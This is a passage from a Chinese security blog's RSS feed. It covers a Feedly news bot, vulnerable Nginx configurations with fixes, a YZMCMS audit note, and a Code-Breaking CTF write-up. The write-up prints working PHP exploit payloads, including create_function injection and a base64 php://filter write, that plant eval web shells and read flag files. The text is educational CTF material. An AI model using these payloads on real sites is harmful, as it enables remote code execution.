                &#x27;lastcheck&#x27; : int(round(time.time() * 1000))
            }
            #  去重插入
            r = collection.update({&#x27;articleurl&#x27; : href}, {&#x27;$setOnInsert&#x27; : data}, upsert=True)
            # print(r)
            # 打印结果
            print(&quot;\n[+] &quot; + count + &quot; &quot; + str(pubtime) + &quot; &quot; + origin + &quot; &quot; + title + &quot; &quot; + href)
        except Exception as e:
        print(db[&#x27;error&#x27;].update({&#x27;articleurl&#x27; : each[&#x27;originId&#x27;]}, {&#x27;$setOnInsert&#x27; : {&#x27;errortime&#x27; : time.strftime(&#x27;%Y-%m-%d %H:%M:%S&#x27;,time.localtime(time.time())), &#x27;feed&#x27; : each[&#x27;origin&#x27;][&#x27;streamId&#x27;]}}, upsert=True))

def timeStamp(timeNum):
    # feedlyapi默认返回13位时间戳，这里格式化便于查看
    timeStamp = float(timeNum/1000)
    timeArray = time.localtime(timeStamp)
    otherStyleTime = time.strftime(&quot;%Y-%m-%d %H:%M:%S&quot;, timeArray)
    return otherStyleTime

if __name__ == &#x27;__main__&#x27;:
    # 将所有获得的数据入库
    client = pymongo.MongoClient(host=&#x27;localhost&#x27;, port=27017)
    db = client[&#x27;feedly&#x27;]
    Total = db[&#x27;Total&#x27;]
    times = 1
    while 1:
        getCategories(Total)
        time.sleep(21600)&lt;/code&gt;&lt;/pre&gt;


&lt;h2 id=&quot;integrate-with-coolq&quot;&gt;Integrate with Coolq&lt;/h2&gt;
&lt;p&gt;接下来就是懒人时刻了……&lt;br&gt;
由于feedly每日api请求只有250个，如果你一天中午晚上各更新一次，基本上不用将数据入库，只需要将&lt;code&gt;print&lt;/code&gt;返回的结果发送到coolq的http api接口，就可以直接发送给你了。&lt;/p&gt;
&lt;p&gt;因为我后期还可能会给Coolq Bot加一些其他功能，所有我这里是选择了入库，然后根据Http Api的接口数据，返回数据库查询数据即可。&lt;/p&gt;
&lt;p&gt;我这里用的是Flask的api，可以根据自己的需要选择&lt;a href=&quot;https://github.com/richardchien/coolq-http-api&quot; rel=&quot;nofollow&quot;&gt;coolq-http-api&lt;/a&gt;&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;# -*- coding: utf-8 -*-
# filename: &lt;a href=&quot;http://coolq.py&quot; rel=&quot;nofollow&quot;&gt;coolq.py&lt;/a&gt;
# author: 0aKarmA

from flask import Flask, request
from cqhttp import CQHttp
import os
import time
import re

import mongo

bot = CQHttp(api_root=&#x27;http://127.0.0.1:5700/&#x27;,
             access_token=&#x27;token&#x27;,
             secret=&#x27;secrect&#x27;)

def funcs(context):
    if(context[&#x27;message&#x27;].split(&quot; &quot;)[0] == &#x27;/news&#x27;):
        try:
            num  = context[&#x27;message&#x27;].split(&quot; &quot;)[1]
            bot.send(context, message=mongo.getdata(num.split(&quot;,&quot;)[0], num.split(&quot;,&quot;)[1]), auto_escape=True)
        except Exception as e:
            bot.send(context, message=&#x27;Usage: /news &amp;lt;from&amp;gt;,&amp;lt;to&amp;gt;&#x27;)
    elif(context[&#x27;message&#x27;] == &#x27;/help&#x27;):
        bot.send(context, message=&#x27;Usage: /command \nCommands:\n    /search &amp;lt;one keyword&amp;gt; &amp;lt;from&amp;gt;,[to] 查询关键字相关文章    /news 查询当天最新资讯&#x27;, auto_escaoe=True)
    elif(context[&#x27;message&#x27;].split(&quot; &quot;)[0] == &#x27;/search&#x27;):
        try:
            num  = context[&#x27;message&#x27;].split(&quot; &quot;)[2]
            bot.send(context, message=mongo.searchdata(context[&#x27;message&#x27;].split(&quot; &quot;)[1], num.split(&quot;,&quot;)[0], num.split(&quot;,&quot;)[1]), auto_escape=True)
        except Exception as e:

            bot.send(context, message=&#x27;Usage: /search &amp;lt;one keyword&amp;gt; &amp;lt;from&amp;gt;,&amp;lt;to&amp;gt;&#x27;)

    else:
        bot.send(context, message=&quot;D0g3的小萌宠提醒您： \n  Run &#x27;/help&#x27; for more information on a command.&quot;, auto_escape=True)


@bot.on_message()
def handle_msg(context):
    funcs(context)

@bot.on_notice(&#x27;group_increase&#x27;)  # 如果插件版本是 3.x，这里需要使用 @bot.on_event
def handle_group_increase(context):
    bot.send(context, message=&#x27;欢迎新人～&#x27;, auto_escape=True)  # 发送欢迎新人


@bot.on_request(&#x27;group&#x27;, &#x27;friend&#x27;)
def handle_request(context):
    return {&#x27;approve&#x27;: True}  # 同意所有加群、加好友请求


bot.run(host=&#x27;127.0.0.1&#x27;, port=8080,debug=0)&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;基本实现了几个常用功能&lt;br&gt;
&lt;em&gt; &lt;code&gt;/news &amp;lt;from&amp;gt;,&amp;lt;to&amp;gt;&lt;/code&gt;&lt;br&gt;
&lt;img alt=&quot;0F1D441E5F0F48A548406AB3B25C3FAF&quot; src=&quot;/api/download/0F1D441E5F0F48A548406AB3B25C3FAF.png&quot;&gt;&lt;br&gt;
&lt;/em&gt; &lt;code&gt;/search &amp;lt;keyword&amp;gt; &amp;lt;from&amp;gt;,&amp;lt;to&amp;gt;&lt;/code&gt;&lt;br&gt;
&lt;img alt=&quot;IMG_4032-20190420-165824-&quot; src=&quot;/api/download/IMG_4032-20190420-165824-.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;实现了这两个功能之后，拉到群里发现。。他好像不支持像coolq原生小i机器人一样，在群里面需要&lt;code&gt;@&lt;/code&gt;一下才会出来。因为在群里如果消息是以&lt;code&gt;@D0g3 Daily&lt;/code&gt;开头，他是收不到消息的。不知道为什么。如果消息是&lt;code&gt;/help @D0g3 Daily&lt;/code&gt;这样的话，他会获取到一个&lt;code&gt;CQ码&lt;/code&gt;，但是这样对数据处理造成负担，所以我暂时放弃了。先这样用着吧。&lt;/p&gt;
&lt;h2 id=&quot;integrate-with-server-push-bear&quot;&gt;Integrate with server酱 / push bear&lt;/h2&gt;
&lt;p&gt;这个就更简单了，只需要像coolq一样，将你要发送的消息发送到指定接口即可。&lt;/p&gt;
&lt;h2 id=&quot;reference&quot;&gt;Reference&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://developer.feedly.com/&quot; rel=&quot;nofollow&quot;&gt;The feedly Cloud API&lt;/a&gt;&lt;br&gt;
&lt;a href=&quot;https://gist.github.com/d3m3vilurr/5904029&quot; rel=&quot;nofollow&quot;&gt;Unofficial Feedly API Document&lt;/a&gt;&lt;/p&gt;</description>
    <pubDate>Fri, 19 Apr 2019 06:25:26 +0800</pubDate>
  </item>
  <item>
    <title>
      Nginx Vulnerable Configuration
    </title>
    <link>https://www.0akarma.com/Nginx-VulnConfig.html</link>
    <description>&lt;h2 id=&quot;0x01-background&quot;&gt;0x01 Background&lt;/h2&gt;
&lt;p&gt;Nginx上一些偏门的漏洞，大多数是因为运维大哥的“粗心”配置导致的，一起来看看自己，是不是曾当过这个“粗心”的运维大哥&lt;/p&gt;
&lt;h2 id=&quot;0x02-crlf&quot;&gt;0x02 CRLF&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;OWASP - CRLF 介绍 (&lt;a href=&quot;https://www.owasp.org/index.php/CRLF_Injection&quot; rel=&quot;nofollow&quot;&gt;https://www.owasp.org/index.php/CRLF_Injection&lt;/a&gt;)&lt;br&gt;
  The term CRLF refers to Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n). They&#x27;re used to note the termination of a line, however, dealt with differently in today’s popular Operating Systems. For example: in Windows both a CR and LF are required to note the end of a line, whereas in Linux/UNIX a LF is only required. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.&lt;br&gt;
  A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL.  &lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;http-splitting&quot;&gt;HTTP Splitting&lt;/h3&gt;
&lt;p&gt;在Nginx配置中，CRLF常出现在HTTP头中不验证&lt;code&gt;用户输入&lt;/code&gt;的场合&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;敏感变量&lt;ul&gt;
&lt;li&gt;add_header&lt;/li&gt;
&lt;li&gt;proxy_set_header&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果在上述一些类似设置header头的变量中存在用户可控的数据，那就要注意是否过滤严谨，不然就会造成CRLF注入&lt;br&gt;
每次调整正则配置，如果都要&lt;code&gt;nginx -s reload&lt;/code&gt;后进行测试的话，难免会比较浪费时间，由于nginx是基于&lt;code&gt;PCRE&lt;/code&gt;，所以可以用&lt;code&gt;grep -P&lt;/code&gt;来帮助我们验证自己的正则表达式。&lt;br&gt;
方法如下：  &lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;[root@0akarma ~]# echo &#x27;a.jpg&#x27; | grep -P &#x27;((?&amp;lt;jpg&amp;gt;[^.]*)\.jpg)?$&#x27;
a.jpg&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;然后我们接着来看下面这个vuln配置  &lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-nginx&quot;&gt;location ~ /static/((?&amp;lt;jpg&amp;gt;[^.]*)\.jpg)?$ {
    add_header X-Action $jpg;
    return 200 &quot;OK&quot;;
}&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;&lt;img alt=&quot;-w950&quot; src=&quot;/api/download/15559908199458.jpg&quot;&gt;&lt;br&gt;
改成这样就可以解决这个问题了  &lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-nginx&quot;&gt;location ~ /static/((?&amp;lt;action&amp;gt;[^.\s]*)\.json)?$ {
            add_header X-Action $action;
            return 200 &quot;OK&quot;;
        }&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;在讲另外的变量之前先讲讲下面三个比较容易搞错的变量  &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$request_uri：包含请求参数的原始URI，并不进行URL解码，如&lt;code&gt;/admin/login.php?username=admin&amp;amp;password=admin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;$uri：不包含请求参数的当前URI，如&lt;code&gt;/static/style.css&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;\$document_uri：跟上面的&lt;code&gt;$uri&lt;/code&gt;一样&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;所以试想一下，下面这三个变量都用的是&lt;code&gt;$uri&lt;/code&gt;或者&lt;code&gt;$document_uri&lt;/code&gt;会发生什么～  &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;proxy_pass&lt;/li&gt;
&lt;li&gt;return&lt;/li&gt;
&lt;li&gt;rewrite&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-nginx&quot;&gt;location /static {
    return 302 http://$host$uri;
}&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;Oh ***&lt;br&gt;
&lt;img alt=&quot;-w977&quot; src=&quot;/api/download/15561161324122.jpg&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;header-redefinition&quot;&gt;Header Redefinition&lt;/h3&gt;
&lt;p&gt;Nginx里面有许多地方可以设置header，如&lt;code&gt;server&lt;/code&gt;或&lt;code&gt;location&lt;/code&gt;  &lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;There could be several add_header directives. These directives are inherited from the previous level if and only if there are no add_header directives defined on the current level.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;但是如果，他又有一个子级可覆盖父级的特点，所以，如果存在下面这种配置  &lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-nginx&quot;&gt;server {
  listen 80;
  add_header X-Frame-Options &quot;DENY&quot; always;
  location / {
      return 200 &quot;index&quot;;
  }

  location /static {
    add_header Pragma &quot;no-cache&quot; always;
    return 200 &quot;static dir&quot;;
  }
}&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;响应头就会是这样&lt;br&gt;
```nginx&lt;br&gt;
HTTP/1.1 200 OK&lt;br&gt;
Server: nginx/1.14.0&lt;br&gt;
Date: Wed, 24 Apr 2019 14:46:10 GMT&lt;br&gt;
Content-Type: application/octet-stream&lt;br&gt;
Content-Length: 5&lt;br&gt;
Connection: close&lt;br&gt;
X-Frame-Options: DENY&lt;/p&gt;
&lt;p&gt;index&lt;/p&gt;</description>
    <pubDate>Fri, 29 Mar 2019 06:49:59 +0800</pubDate>
  </item>
  <item>
    <title>
      YZMCMS Code Audit Analysis
    </title>
    <link>https://www.0akarma.com/yzmcms-audit.html</link>
    <description>&lt;h2 id=&quot;foreground&quot;&gt;Foreground&lt;/h2&gt;
&lt;p&gt;除了搜索，其他基本上都要登陆了之后才能使用，评论、友联、留言板，如果后台没有开启，基本上前台就是纯“静态”&lt;/p&gt;
&lt;h3 id=&quot;search&quot;&gt;search&lt;/h3&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;$q = str_replace(&#x27;%&#x27;, &#x27;&#x27;, new_html_special_chars(strip_tags(trim($_GET[&#x27;q&#x27;]))));&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;一行代码的过滤，&lt;code&gt;trim()&lt;/code&gt;、&lt;code&gt;strip_tags()&lt;/code&gt;、&lt;code&gt;str_replace(&#x27;%&#x27;, &#x27;&#x27;)&lt;/code&gt;的运用方式简直让我大开眼界了。。&lt;/p&gt;
&lt;h3 id=&quot;comment&quot;&gt;comment&lt;/h3&gt;
&lt;h3 id=&quot;apply-for-friend-links&quot;&gt;apply for friend links&lt;/h3&gt;
&lt;p&gt;表单并没有什么过滤，但是在入库的时候用的是一样的过滤。&lt;/p&gt;
&lt;h3 id=&quot;message-board&quot;&gt;message board&lt;/h3&gt;
&lt;p&gt;留言板，提交之后要经过管理员审核才会显示出来。&lt;/p&gt;
&lt;h3 id=&quot;member&quot;&gt;member&lt;/h3&gt;
&lt;h4 id=&quot;_1&quot;&gt;在线投稿&lt;/h4&gt;
&lt;p&gt;正文和摘要黑名单过滤了一些标签&lt;/p&gt;
&lt;h4 id=&quot;_2&quot;&gt;修改资料&lt;/h4&gt;
&lt;h4 id=&quot;_3&quot;&gt;修改头像&lt;/h4&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;public function user_pic(){
    $memberinfo = $this-&amp;gt;memberinfo;
    extract($memberinfo);
    if(isset($_POST[&#x27;dosubmit&#x27;])){
        $filename = $_FILES[&#x27;user_pic&#x27;][&#x27;name&#x27;];
        if($filename == &#x27;&#x27;) showmsg(&#x27;请上传头像！&#x27;);
        $upload = yzm_base::load_sys_class(&#x27;upload&#x27;);
        if($upload-&amp;gt;uploadfile(&#x27;user_pic&#x27;)){
            $fileinfo = $upload-&amp;gt;getnewfileinfo();
            $picname = $fileinfo[&#x27;filepath&#x27;].$fileinfo[&#x27;filename&#x27;];
            D(&#x27;member_detail&#x27;)-&amp;gt;update(array(&#x27;userpic&#x27;=&amp;gt;$picname),array(&#x27;userid&#x27;=&amp;gt;$this-&amp;gt;userid));
            $userpic = YZMPHP_PATH.ltrim($userpic, SITE_PATH);
            if(is_file($userpic)) @unlink($userpic);    //删除原来的头像
            showmsg(&#x27;更新头像成功！&#x27;,&#x27;&#x27;,1);
        }else{
            showmsg($upload-&amp;gt;geterrormsg());
        }
    }

    include template(&#x27;member&#x27;, &#x27;user_pic&#x27;);
}&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;更改头像时，&lt;code&gt;@unlink&lt;/code&gt;可以把原来的头像删掉，如果我们再提交请求的时候抓包改一下路径，即可构成&lt;code&gt;任意文件删除&lt;/code&gt;，但是后台里面这个地方限制了文件后缀，所以危害瞬间咕咕咕。。。所以感觉前台那个unlink的任意文件删除，作者是知道的～&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;if(in_array(fileext($userpic), array(&#x27;jpg&#x27;, &#x27;jpeg&#x27;, &#x27;png&#x27;, &#x27;gif&#x27;)) &amp;amp;&amp;amp; is_file($userpic)) @unlink($userpic); &lt;/code&gt;&lt;/pre&gt;


&lt;h4 id=&quot;_4&quot;&gt;修改密码&lt;/h4&gt;
&lt;p&gt;修改密码没有校验，理论上只需要知道&lt;code&gt;userid&lt;/code&gt;即可改别人的密码。&lt;br&gt;
但是&lt;code&gt;userid&lt;/code&gt;只有在登陆的时候被写进session，而且要逆向出来，几乎不可能。&lt;/p&gt;
&lt;h4 id=&quot;_5&quot;&gt;发信息&lt;/h4&gt;
&lt;p&gt;不能给管理员发信息。。因为不在同一个表里&lt;/p&gt;
&lt;h2 id=&quot;background&quot;&gt;Background&lt;/h2&gt;</description>
    <pubDate>Sun, 03 Mar 2019 02:35:58 +0800</pubDate>
  </item>
  <item>
    <title>
      Code-Breaking Learning
    </title>
    <link>https://www.0akarma.com/code-breaking-2018.html</link>
    <description>&lt;p&gt;Source Code:&lt;a href=&quot;https://github.com/phith0n/code-breaking&quot; rel=&quot;nofollow&quot;&gt;https://github.com/phith0n/code-breaking&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;function&quot;&gt;function&lt;/h2&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;$action = $_GET[&#x27;action&#x27;] ?? &#x27;&#x27;;
$arg = $_GET[&#x27;arg&#x27;] ?? &#x27;&#x27;;

if(preg_match(&#x27;/^[a-z0-9_]*$/isD&#x27;, $action)) {
    show_source(__FILE__);
} else {
    $action(&#x27;&#x27;, $arg);
}&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;一开始看到&lt;code&gt;??&lt;/code&gt;有点好奇是什么，但是其实根据页面返回，也知道他是判断&lt;code&gt;$_GET&lt;/code&gt;是否为空。它其实是三元运算符的更简便写法。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Null coalescing operator&lt;br&gt;
The null coalescing operator (??) has been added as syntactic sugar for the common case of needing to use a ternary in conjunction with isset(). It returns its first operand if it exists and is not NULL; otherwise it returns its second operand.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;代码逻辑一下子就能理清楚，我们要绕过&lt;code&gt;preg_match&lt;/code&gt;然后执行我们的函数。那什么字符能绕过&lt;code&gt;^ $&lt;/code&gt;呢，拿出burp来试试吧～&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;-w933&quot; src=&quot;media/15515765387191/15522294736032.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;于是，我们就能任意函数调用了～但是我们只能是第二个参数可控，这里有一个可以利用的点&lt;a href=&quot;https://blog.51cto.com/lovexm/1743442&quot; rel=&quot;nofollow&quot;&gt;PHP create_function()代码注入&lt;/a&gt;。&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;create_function(&#x27;$a&#x27;,&#x27;echo $a&#x27;)
// 上面与下面的代码含义相同
$a = $_GET[&#x27;a&#x27;]
function text($a) {
  echo $a;
}
// Source code
$a = $_GET[&#x27;a&#x27;]
function text($a) {
  echo &quot;test&quot;.$a;
}
// Bypass 
// http://localhost/create_function.php?id=2;}phpinfo();/*;
$a = $_GET[&#x27;a&#x27;]
function text($a) {
  echo &quot;test&quot;;}phpinfo();/*;
}&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;而且为啥&lt;code&gt;\&lt;/code&gt;就可以绕过呢？&lt;/p&gt;
&lt;p&gt;P神给的解答是：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;php里默认命名空间是\，所有原生函数和类都在这个命名空间中。普通调用一个函数，如果直接写函数名function_name()调用，调用的时候其实相当于写了一个相对路径；而如果写\function_name() 这样调用函数，则其实是写了一个绝对路径。如果你在其他namespace里调用系统类，就必须写绝对路径这种写法。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;所以，现在我们就能构造我们的payload了&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;http://xxx:xxx/?action=%5ccreate_function&amp;amp;arg=echo%20hahaha;}eval($_POST[&#x27;karma&#x27;]);/*&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;然后顺利拿到flag&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;-w1040&quot; src=&quot;/api/download/15522302359470.jpg&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;lumenserial&quot;&gt;lumenserial&lt;/h2&gt;
&lt;h2 id=&quot;pcrewaf&quot;&gt;pcrewaf&lt;/h2&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;function is_php($data){
    return preg_match(&#x27;/&amp;lt;\?.*[(`;?&amp;gt;].*/is&#x27;, $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = &#x27;data/&#x27; . md5($_SERVER[&#x27;REMOTE_ADDR&#x27;]);
$data = file_get_contents($_FILES[&#x27;file&#x27;][&#x27;tmp_name&#x27;]);
if (is_php($data)) {
    echo &quot;bad request&quot;;
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . &#x27;/&#x27; . random_int(0, 10) . &#x27;.php&#x27;;
    move_uploaded_file($_FILES[&#x27;file&#x27;][&#x27;tmp_name&#x27;], $path);

    header(&quot;Location: $path&quot;, true, 303);
}&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;看源码可以知道，会经过一个&lt;code&gt;preg_match()&lt;/code&gt;判断是否是&lt;code&gt;&amp;lt;&lt;/code&gt;后面有&lt;code&gt;?&lt;/code&gt;，还有&lt;code&gt;&amp;lt;?&lt;/code&gt;后面不能有&lt;code&gt;(;?&amp;gt;反引号&lt;/code&gt;，emm，那就很无奈了。没有这个，到后面你保存成php，不符合语法，他也执行不了呀。&lt;/p&gt;
&lt;p&gt;P师傅这篇文章给了思路 -&amp;gt; &lt;a href=&quot;https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html&quot; rel=&quot;nofollow&quot;&gt;PHP利用PCRE回溯次数限制绕过某些安全限制&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这里提到了&lt;code&gt;NFA正则引擎&lt;/code&gt;和&lt;code&gt;pcre.backtrack_limit&lt;/code&gt;&lt;br&gt;
那何为&lt;code&gt;NFA正则引擎&lt;/code&gt;？&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;NFA正则引擎也叫“不确定型有穷自动机“&lt;br&gt;
与DFA（确定型有穷自动机）的区别在于NFA引擎匹配不上时，会进行回溯，而DFA则只会一步步顺序匹配直到匹配不上或匹配完整。&lt;br&gt;
举个例子来说就是：&lt;br&gt;
NFA：&#x27;/ab?/&#x27;匹配&#x27;abb&#x27;会得到&#x27;abb&#x27;&lt;br&gt;
DFA：‘/ab??/’匹配&#x27;abb&#x27;会得到&#x27;a&#x27;而不是&#x27;ab‘&lt;br&gt;
&lt;a href=&quot;https://www.cnblogs.com/zhuimengdeyuanyuan/archive/2013/02/06/2893240.html&quot; rel=&quot;nofollow&quot;&gt;精通正则表达式（正则引擎）&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;至于&lt;code&gt;pcre.backtrack_limit&lt;/code&gt;，在官方文档，我们可以看到默认的回溯次数上限为100w&lt;br&gt;
&lt;img alt=&quot;-w931&quot; src=&quot;/api/download/15523168140512.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;所以我们只需要发送超长字符串（大于100w)，正则匹配就会执行失败，继续执行下面的代码。结果如下：&lt;br&gt;
&lt;img alt=&quot;-w1197&quot; src=&quot;/api/download/15523173222993.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;成功写shell，得到文件名，flag自然就拿到了。&lt;/p&gt;
&lt;h2 id=&quot;phpmagic&quot;&gt;phpmagic&lt;/h2&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;lt;?php
if(isset($_GET[&#x27;read-source&#x27;])) {
    exit(show_source(__FILE__));
}

define(&#x27;DATA_DIR&#x27;, dirname(__FILE__) . &#x27;/data/&#x27; . md5($_SERVER[&#x27;REMOTE_ADDR&#x27;]));

if(!is_dir(DATA_DIR)) {
    mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);

$domain = isset($_POST[&#x27;domain&#x27;]) ? $_POST[&#x27;domain&#x27;] : &#x27;&#x27;;
$log_name = isset($_POST[&#x27;log&#x27;]) ? $_POST[&#x27;log&#x27;] : date(&#x27;-Y-m-d&#x27;);
?&amp;gt;

&amp;lt;?php 
if(!empty($_POST) &amp;amp;&amp;amp; $domain):
                $command = sprintf(&quot;dig -t A -q %s&quot;, escapeshellarg($domain));
                $output = shell_exec($command);

                $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);

                $log_name = $_SERVER[&#x27;SERVER_NAME&#x27;] . $log_name;
                if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), [&#x27;php&#x27;, &#x27;php3&#x27;, &#x27;php4&#x27;, &#x27;php5&#x27;, &#x27;phtml&#x27;, &#x27;pht&#x27;], true)) {
                    file_put_contents($log_name, $output);
                }

                echo $output;
            endif; 
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;看了下源码之后，发现如下问题&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;因为输出经过了一次&lt;code&gt;htmlspecialchars()&lt;/code&gt;，如何写shell？&lt;/li&gt;
&lt;li&gt;&lt;code&gt;log_name&lt;/code&gt;的后缀如何绕？&lt;/li&gt;
&lt;li&gt;&lt;code&gt;log_name&lt;/code&gt;文件名貌似有&lt;code&gt;$_SERVER[&#x27;SERVER_NAME&#x27;]&lt;/code&gt;，如何绕过？&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;htmlspecialchars&quot;&gt;绕过htmlspecialchars()&lt;/h3&gt;
&lt;p&gt;p神之前有一篇文章介绍过伪协议的一些tricks&lt;a href=&quot;https://www.leavesongs.com/PENETRATION/php-filter-magic.html&quot; rel=&quot;nofollow&quot;&gt;谈一谈php://filter的妙用&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这里可以用&lt;code&gt;phar伪协议&lt;/code&gt;来绕过&lt;br&gt;
但是有一点要注意的是base64是4位4位解码的，所以加密后要检查一下是否是4的倍数，不然会有bug。&lt;/p&gt;
&lt;h3 id=&quot;_1&quot;&gt;绕过后缀限制&lt;/h3&gt;
&lt;p&gt;这里也有一个trick &lt;a href=&quot;http://wonderkun.cc/index.html/?p=626&quot; rel=&quot;nofollow&quot;&gt;php &amp;amp; apache2 &amp;amp;操作系统之间的一些黑魔法&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;经过测试发现一个可以再windows和linux上都行得通的方法：&lt;br&gt;
filename=1.php/.&amp;amp;content=&amp;lt;?php phpinfo();?&amp;gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;_serverserver_name&quot;&gt;绕过$_SERVER[&#x27;SERVER_NAME&#x27;]&lt;/h3&gt;
&lt;p&gt;这也是配置不当导致的，来看看官方的说法&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15527285766573.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;意味着我们只需要改http头里的server_name就能伪造绕过。&lt;/p&gt;
&lt;p&gt;现在我们就能结合这三个，开始写shell……&lt;/p&gt;
&lt;p&gt;payload&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;host:php
domain=PD9waHAgQGV2YWwoJF9HRVRbJzEnXSk7Pz4&amp;amp;log=://filter/write=convert.base64-decode/resource=0akarma.php/.&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;/api/download/15527319852561.jpg&quot;&gt;&lt;br&gt;
&lt;img alt=&quot;-w785&quot; src=&quot;/api/download/15532354028230.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;Bingo...&lt;/p&gt;
&lt;h2 id=&quot;phplimit&quot;&gt;phplimit&lt;/h2&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;lt;?php
if(&#x27;;&#x27; === preg_replace(&#x27;/[^\W]+\((?R)?\)/&#x27;, &#x27;&#x27;, $_GET[&#x27;code&#x27;])) {    
    eval($_GET[&#x27;code&#x27;]);
} else {
    show_source(__FILE__);
}&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;这道题虽然源码不长，但是师傅们的各种解法简直是让人眼前一亮！&lt;/p&gt;
&lt;h3 id=&quot;session_id&quot;&gt;session_id&lt;/h3&gt;
&lt;p&gt;&lt;img alt=&quot;-w1029&quot; src=&quot;/api/download/15536104289310.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;session_id()&lt;/code&gt;配合&lt;code&gt;session_start()&lt;/code&gt;就可以将我们想要获取的变量值通过&lt;code&gt;PHPSESSID&lt;/code&gt;赋值，但是&lt;code&gt;PHPSESSID&lt;/code&gt;里面需要传纯字符串，所以需要通过编码来绕过。&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;Payload
GET /?code=eval(hex2bin(session_id(session_start())));

PHPSESSID=7072696e745f722866696c655f6765745f636f6e74656e747328272e2e2f666c61675f7068706279703473732729293b&lt;/code&gt;&lt;/pre&gt;


&lt;h3 id=&quot;get_defined_vars&quot;&gt;get_defined_vars&lt;/h3&gt;
&lt;blockquote&gt;
